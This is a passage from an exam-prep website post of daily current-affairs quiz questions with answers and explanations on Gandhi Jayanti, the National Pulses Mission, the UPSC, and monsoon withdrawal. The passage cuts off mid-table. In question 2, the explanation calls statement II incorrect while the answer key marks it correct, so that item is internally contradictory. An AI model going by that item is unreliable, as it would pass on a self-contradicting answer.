{"id":2498,"date":"2025-10-04T07:19:08","date_gmt":"2025-10-04T07:19:08","guid":{"rendered":"https:\/\/iasquest.com\/?p=2498"},"modified":"2026-02-11T18:51:32","modified_gmt":"2026-02-11T18:51:32","slug":"daily-current-affairs-02-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-02-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 02-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>Statement-I :<\/strong> October 2 is globally declared as the International Day of Non-Violence by the United Nations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Statement-II: <\/strong>It was in 1920 that the Non &#8211; cooperation movement was launched on the same day.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II is the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct and Statement-II is not the correct explanation for Statement-I.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(c) Statement-I is correct but Statement-II is incorrect.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(d) Statement-I is incorrect but Statement-II is correct.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>Answer: (c) Statement-I is correct but Statement-II is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li><strong>October 2 is celebrated as Gandhi Jayanti<\/strong> and globally as <strong>the International Day of Non-Violence<\/strong>, as declared by the United Nations \u2013 a dual tribute that reflects both national pride and global respect for the Mahatma. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The <strong>UN General Assembly adopted a resolution in June 2007<\/strong> affirming non-violence as a universal principle and promoting a global culture of peace and tolerance.<\/li>\n\n\n\n<li>The spirit of Gandhi Jayanti and the International Day of Non-Violence is kept alive globally, with <strong>commemorations held in countries<\/strong> such as <strong>Belgium, USA, Spain, Serbia, Switzerland, Thailand, Kazakhstan and the Netherlands.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"406\" height=\"259\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image-7.jpg\" alt=\"\" class=\"wp-image-2499\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-7.jpg 406w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-7-300x191.jpg 300w\" sizes=\"auto, (max-width: 406px) 100vw, 406px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Gandhi\u2019s Contribution<\/strong><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong><em>\u201cNon-violence is the greatest force at the disposal of mankind. It is mightier than the mightiest weapon of destruction devised by the ingenuity of man,\u201d <\/em><\/strong><em>Gandhi wrote in <strong>Young India in 1920<\/strong><\/em><strong><em><\/em><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>1. Political Contribution<\/strong><strong><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li><strong>Non-Violent Mass Movements<\/strong>: Introduced and popularized <em>Satyagraha<\/em> (truth-force) and <em>Ahimsa<\/em> (non-violence) as tools of resistance.<\/li>\n\n\n\n<li><strong>Champaran (1917)<\/strong>: First experiment of Satyagraha against indigo planters\u2019 exploitation.<\/li>\n\n\n\n<li><strong>Kheda Satyagraha (1918)<\/strong>: Supported peasants against oppressive revenue demands.<\/li>\n\n\n\n<li><strong>Ahmedabad Mill Strike (1918)<\/strong>: Advocated for workers\u2019 rights, mediated between labor and capital.<\/li>\n\n\n\n<li><strong>Non-Cooperation Movement (1920\u201322)<\/strong>: Launched by Mahatma Gandhi on <strong>1st August 1920<\/strong> which mobilized millions against colonial institutions (courts, schools, titles). <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Civil Disobedience (1930\u201334)<\/strong>: <em>Dandi March<\/em> symbolized defiance of British monopoly on salt.<\/li>\n\n\n\n<li><strong>Quit India Movement (1942)<\/strong>: &#8220;Do or Die&#8221; call became the final push for independence.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. Social Contribution<\/strong><strong><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li><strong>Eradication of Untouchability<\/strong>: Started <em>Harijan Sevak Sangh<\/em> (1932), promoted temple entry and social equality.<\/li>\n\n\n\n<li><strong>Women\u2019s Participation<\/strong>: Encouraged women like Sarojini Naidu, Kasturba Gandhi, and Aruna Asaf Ali to join the struggle.<\/li>\n\n\n\n<li><strong>Village Upliftment (Gram Swaraj)<\/strong>: Advocated self-reliant villages, use of <em>khadi<\/em>, cottage industries, and local governance.<\/li>\n\n\n\n<li><strong>Promotion of Education<\/strong>: <em>Nai Talim<\/em> (Basic Education) emphasized craft-based, value-oriented learning.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\"><strong>3. Economic Contribution<\/strong><strong><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-20\">\n<li><strong>Swadeshi &amp; Self-Reliance<\/strong>: Promoted khadi, boycott of foreign goods, revival of village industries.<\/li>\n\n\n\n<li><strong>Decentralized Economy<\/strong>: Opposed industrial exploitation, supported small-scale, rural-based production.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>4. Religious &amp; Ethical Contribution<\/strong><strong><\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-22\">\n<li><strong>Unity of Religions<\/strong>: Advocated Hindu-Muslim unity, harmony among all faiths.<\/li>\n\n\n\n<li><strong>Ethics in Politics<\/strong>: Introduced moral principles into political life.<\/li>\n\n\n\n<li><strong>Spiritualised Nationalism<\/strong>: His fight against colonialism was also a moral and spiritual battle.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Relevance in Today\u2019s India \u2013 Government Initiatives Linked to Gandhian Ideas<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>1. Swachh Bharat Mission<\/strong> \u2013 Launched in 2014, achieved Open Defecation Free status in 2019; millions of toilets built.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>2. Self-Help Groups under DAY-NRLM<\/strong> \u2013 Empowering women, large-scale mobilization and bank linkages.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>3. SVAMITVA Scheme<\/strong> \u2013 Drone-based land mapping and issuance of property cards for village self-reliance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>4. Khadi and Village Industries (KVIC)<\/strong> \u2013 Growth in production, sales and employment aligned with Gandhian swadeshi ideals.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>5. PM Janjatiya Unnat Gram Abhiyan (PM JUGA\/DAJGUA)<\/strong> \u2013 New programme for tribal welfare launched in 2024.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>6. MGNREGA<\/strong> \u2013 Reinforces rural employment and dignity of labour.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><strong>Q. Consider the following subjects with regard to Non-Cooperation Programme:\u00a0<\/strong><br><br>I. Boycott of law-courts and foreign cloth\u00a0\u00a0 <br>II. Observance of strict non-violence\u00a0\u00a0 <br>III. Retention of titles and honours without using them in public\u00a0\u00a0<br>IV. Establishment of Panchayats for settling disputes\u00a0\u00a0 <br><br><strong>How many of the above were parts of the Non-Cooperation Programme?\u00a0\u00a0<\/strong> <br><br>(a) Only one\u00a0\u00a0 <br>(b) Only two\u00a0\u00a0 <br><strong>(c) Only three\u00a0\u00a0<\/strong> <br>(d) All the four\u00a0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2173476\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2173476<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><strong>2. With the recent approval of the \u2018National Pulses Mission\u2019 in India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">I. India is the largest producer, consumer, and exporter of pulses globally.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">II. Under National Pulses Mission the government assures 100% procurement of Minimum Support Prize (MSP) for tur, urad, and lentil.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?\u00a0\u00a0<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(a) I only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(b) II only&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(c) Both 1 and II&nbsp;&nbsp;<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Answer: (b) II only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>In NEWS: <\/strong>Union Cabinet Approves the Ambitious \u2018National Pulses Mission\u2019; Key Decision To Increase MSP.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>India on Pulses:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li>India is the <strong>largest producer, consumer, and importer of pulses<\/strong>. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>Pulses are vital for <strong>nutritional security<\/strong>, rich in protein and micronutrients.<\/li>\n\n\n\n<li>Despite high demand, India often faces shortages, leading to imports.<\/li>\n\n\n\n<li>To reduce dependence, the Government has launched a dedicated <strong>National Pulses Mission<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Objectives &amp; Targets of the National Pulses Mission:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li>To achieve <strong>self-sufficiency<\/strong> in pulses, enhance <strong>food &amp; nutritional security<\/strong>, and boost <strong>farmer incomes<\/strong>.<\/li>\n\n\n\n<li>The production target: Increase pulses output from <strong>24.2 million tonnes (2024\u201325)<\/strong> to <strong>35 million tonnes by 2030\u201331<\/strong>.<\/li>\n\n\n\n<li>The scheme will roll out in <strong>416 districts<\/strong>, focusing on:<ul><li>Cultivating in <strong>rice fallow<\/strong> areas<\/li><\/ul><ul><li>Use of improved seeds (breeder, foundation, certified)<\/li><\/ul><ul><li>Promoting <strong>intercropping<\/strong><\/li><\/ul><ul><li>Providing <strong>irrigation support<\/strong>, <strong>technical assistance<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Strengthening <strong>market linkages<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>For <strong>tur, urad, and lentils<\/strong>, the government will procure at <strong>100 % MSP<\/strong>, ensuring full returns to farmers. <strong>Hence statement II is incorrect.<\/strong><\/li>\n\n\n\n<li>The Mission is allocated <strong>\u20b911,440 crore<\/strong> for the year <strong>2025\u201326<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>Reduces <strong>import bill<\/strong> (India imports ~2\u20133 MMT pulses annually).<\/li>\n\n\n\n<li>Improves <strong>nutritional security<\/strong> by addressing protein deficiency.<\/li>\n\n\n\n<li>Boosts <strong>income of small and marginal farmers<\/strong>.<\/li>\n\n\n\n<li>Supports <strong>crop diversification<\/strong> and sustainable agriculture.<\/li>\n\n\n\n<li>Aligns with <strong>SDGs<\/strong> (Zero Hunger, Good Health, Poverty Reduction).<\/li>\n\n\n\n<li>The <strong>National Pulses Mission<\/strong> is a landmark step to transform India from a net importer to a <strong>self-reliant nation in pulses<\/strong>, ensuring <strong>nutritional security, farmer welfare, and sustainable agriculture<\/strong> by 2030.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><strong>Q. With reference to pulse production in India, consider the following statements:<\/strong> <br><br>1. Black gram can be cultivated as both kharif and rabi crops. <br>2. Green-gram alone accounts for nearly half of pulse production. <br>3. In the last three decades, while the production of kharif pulses has increased, the production of rabi pulses has decreased. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 2 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2173785\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2173785<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>3. With reference to the Union Public Service Commission (UPSC), Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">1. It is a constitutional body established by the President under the provisions mentioned in the constitution of India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\">2. It submits an annual report to the Prime Minister, who in turn lays it before both Houses of Parliament.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">3. The advice tendered by the UPSC is mandatory for the government to accept and implement its recommendations.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">4. Members of the UPSC, including the Chairman, can be removed only by the President of India, and only on the grounds of proven misbehavior, following an inquiry by the Supreme Court.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>How many of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">(c) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(d) All four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\"><strong>In NEWS: <\/strong>A 100-year journey as the guardian of meritocracy<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Union Public Service Commission (UPSC)<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"299\" height=\"347\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/10\/image.png\" alt=\"\" class=\"wp-image-2504\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image.png 299w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/10\/image-259x300.png 259w\" sizes=\"auto, (max-width: 299px) 100vw, 299px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Constitutional Status<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Article 315 to 323<\/strong> of the Constitution deals with UPSC and State PSCs.<\/li>\n\n\n\n<li>UPSC is a <strong>constitutional body<\/strong>, ensuring impartial recruitment and services regulation.<\/li>\n\n\n\n<li><strong>Article 315<\/strong>: Establishment of UPSC for the Union and SPSC for States. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Article 316<\/strong>: Appointment &amp; term of members (Chairman appointed by President, tenure \u2013 6 years or until age 65).<\/li>\n\n\n\n<li><strong>Article 317<\/strong>: Removal and suspension by President (on SC inquiry).<\/li>\n\n\n\n<li><strong>Article 318<\/strong>: Power to regulate conditions of service of members.<\/li>\n\n\n\n<li><strong>Article 319<\/strong>: Members ineligible for reappointment to UPSC\/SPSC, but eligible for other posts.<\/li>\n\n\n\n<li><strong>Article 320<\/strong>: Functions of UPSC.<\/li>\n\n\n\n<li><strong>Article 321\u2013323<\/strong>: Extension of functions, expenses, and reports.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Composition<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-64\">\n<li>Consists of a <strong>Chairman<\/strong> and other <strong>members<\/strong> (no fixed number; determined by President).<\/li>\n\n\n\n<li>Half of the members must have held <strong>government office for at least 10 years<\/strong>.<\/li>\n\n\n\n<li>Members hold office for <strong>6 years<\/strong> or until age <strong>65<\/strong>, whichever is earlier.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Functions of UPSC<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>1. Recruitment to All-India Services, Central Services, and Central posts<\/strong>.<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-67\">\n<li>Conducts exams: Civil Services Exam, IFS, NDA, CDS, CAPF, etc.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>2. Advisory Role<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-69\">\n<li>On recruitment methods, promotions, transfers.<\/li>\n\n\n\n<li>On disciplinary matters affecting civil servants.<\/li>\n\n\n\n<li>On claims for costs incurred by government servants in legal proceedings.<\/li>\n\n\n\n<li>On claims relating to pension\/gratuity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>3. Reports<\/strong>:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-71\">\n<li>Submits an annual report to the President, laid before Parliament. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>4. Nature<\/strong> of Role: <strong>Advisory<\/strong>, not binding. The government can accept or reject UPSC\u2019s advice, but usually follows it to maintain fairness. <strong>Hence statement 3 is incorrect.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Independence &amp; Safeguards<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-74\">\n<li>Conditions of service of Chairman\/members fixed by President, but cannot be varied to their disadvantage.<\/li>\n\n\n\n<li>Removal only by the President on grounds of misbehavior, after the Supreme Court inquiry. <strong>Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li>Expenses charged on <strong>Consolidated Fund of India<\/strong>, not subject to parliamentary vote.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-76\">\n<li>Ensures <strong>merit-based recruitment<\/strong> and neutrality in public services.<\/li>\n\n\n\n<li>Protects <strong>civil servants from political influence<\/strong>.<\/li>\n\n\n\n<li>Contributes to maintaining the <strong>integrity and efficiency<\/strong> of Indian bureaucracy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Limitations<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-78\">\n<li>UPSC\u2019s role is <strong>advisory only<\/strong>, not binding.<\/li>\n\n\n\n<li>The government can bypass advice (though rarely).<\/li>\n\n\n\n<li>Not consulted on certain temporary, lower-level or specialized posts.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2023)<\/strong> <br><strong>Q. Consider the following organizations\/bodies in India:<\/strong> <br><br>1. The National Commission for Backward Classes <br>2. The National Human Rights Commission <br>3. The National Law Commission <br>4. The National Consumer Disputes Redressal Commission <br><br><strong>How many of the above constitutional bodies?<\/strong> <br><br><strong>(a) Only one<\/strong> <br>(b) Only two <br>(c) Only three <br>(d) All four<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/lead\/a-100-year-journey-as-the-guardian-of-meritocracy\/article70113906.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/lead\/a-100-year-journey-as-the-guardian-of-meritocracy\/article70113906.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>4. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">1. No significant rainfall over a large area for 5 consecutive days<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\">2. Prevalence of anticyclonic circulation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">3. A significant increase in humidity<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>How many of the above conditions announce the withdrawal of the Southwest Monsoon in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(a) Only one\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(b) Only two\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\">(c) All the three\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\">(d) None\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>In NEWS:<\/strong> Southwest monsoon withdrawal on hold, October to be rainy with warm nights<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-92\">\n<li>The Southwest Monsoon (SWM) is yet to fully withdraw from India, due to persistent low-pressure systems over the Bay of Bengal, causing lingering rainfall over various parts of the country.<\/li>\n\n\n\n<li>Though the IMD officially ends the monsoon season on 30 September, meteorological conditions (especially over east, central, and western India) still favour continued rain.<\/li>\n\n\n\n<li>Because of this delay, October is expected to be rainy, with nighttime temperatures being higher than normal (i.e. warm nights) across much of India.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Monsoon withdrawal is not sudden or uniform across the country. It happens gradually:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-94\">\n<li>Starts from West Rajasthan.<\/li>\n\n\n\n<li>Progresses over Northwest India, then Central India, and finally from the Southern Peninsula.<\/li>\n\n\n\n<li>After withdrawal is complete, Northeast Monsoon typically sets in over Tamil Nadu and adjoining areas.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Conditions Required for SW Monsoon Withdrawal:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">As per the India Meteorological Department (IMD), the withdrawal of the Southwest Monsoon from northwest India starts when the following three major conditions are met:<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>1. Cessation of Rainfall<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-98\">\n<li><strong>No significant rainfall over a large area<\/strong>, especially in northwest India (Rajasthan, Punjab, Haryana, Delhi, etc.), for 5 consecutive days.<strong> Hence 1 is correct.<\/strong><\/li>\n\n\n\n<li>Typically, this dry spell signals the monsoon weakening and beginning to retreat.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>2. Establishment of Anticyclonic Circulation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li><strong>Anticyclonic circulation<\/strong> (high pressure) develops at lower tropospheric levels (~850 hPa).<strong> Hence 2 is correct.<\/strong><\/li>\n\n\n\n<li>This replaces the low-pressure monsoon troughs and inhibits the formation of rain-bearing systems.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>3. Significant Drop in Moisture<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li><strong>A reduction in humidity <\/strong>(lower moisture content in the mid-troposphere). <strong>&nbsp;Hence 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Wind patterns shift from moist southwesterlies to dry northwesterlies or northeasterlies in the upper levels.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2012)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. The duration of the monsoon decreases from southern India to northern India. <br>2. The amount of annual rainfall in the northern plains of India decreases from east to west. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br><strong>(c) Both 1 and 2<\/strong> <br>(d) Neither 1 nor 